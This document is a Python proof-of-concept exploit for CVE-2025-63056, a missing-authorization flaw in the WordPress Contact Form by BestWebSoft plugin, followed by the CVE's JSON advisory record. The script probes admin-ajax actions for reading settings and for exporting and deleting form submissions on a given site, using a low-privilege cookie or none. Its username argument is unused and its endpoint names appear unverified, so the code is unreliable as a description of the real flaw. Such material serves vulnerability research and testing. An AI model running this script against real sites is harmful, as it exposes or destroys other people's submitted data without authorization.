CVE-2025-63056

# CVE-2025-63056 PoC - WordPress Contact Form by BestWebSoft Missing Authorization # This PoC demonstrates the authorization bypass vulnerability import requests import sys from urllib.parse import urljoin def exploit_missing_auth(base_url, target_username, cookie=None): """ Exploit the missing authorization vulnerability in Contact Form by BestWebSoft plugin. This allows low-privileged users to access admin-only functions. """ # Plugin endpoints vulnerable to authorization bypass endpoints = [ '/wp-admin/admin-ajax.php?action=bwsplgns_settings_page', '/wp-admin/admin-ajax.php?action=ctf_export_submissions', '/wp-admin/admin-ajax.php?action=ctf_get_form_data', '/wp-admin/admin-ajax.php?action=ctf_delete_submissions' ] print(f'[*] Target: {base_url}') print(f'[*] Exploiting CVE-2025-63056: Missing Authorization') print(f'[*] Target username: {target_username}') # Use low-privilege user session or anonymous request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } if cookie: headers['Cookie'] = cookie for endpoint in endpoints: target_url = urljoin(base_url, endpoint) print(f'\n[*] Testing endpoint: {endpoint}') try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: # Check if sensitive data is accessible if 'settings' in endpoint or 'submissions' in endpoint: print(f'[+] VULNERABLE: Endpoint {endpoint} returned data without authorization!') print(f'[+] Response preview: {response.text[:200]}...') else: print(f'[*] Endpoint accessible but may not contain sensitive data') elif response.status_code == 403: print(f'[-] Endpoint protected: {endpoint}') else: print(f'[*] Unexpected status code: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {str(e)}') print('\n[!] Note: This PoC is for educational and authorized testing purposes only.') if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve_2025_63056_poc.py <target_url> <username> [cookie]') print('Example: python cve_2025_63056_poc.py http://example.com attacker') sys.exit(1) base_url = sys.argv[1] target_username = sys.argv[2] cookie = sys.argv[3] if len(sys.argv) > 3 else None exploit_missing_auth(base_url, target_username, cookie)

{"cve": {"id": "CVE-2025-63056", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:10.977", "lastModified": "2026-04-27T19:16:19.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bestwebsoft Contact Form by BestWebSoft contact-form-plugin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Contact Form by BestWebSoft: from n/a through <= 4.3.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-plugin/vulnerability/wordpress-contact-form-by-bestwebsoft-plugin-4-3-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}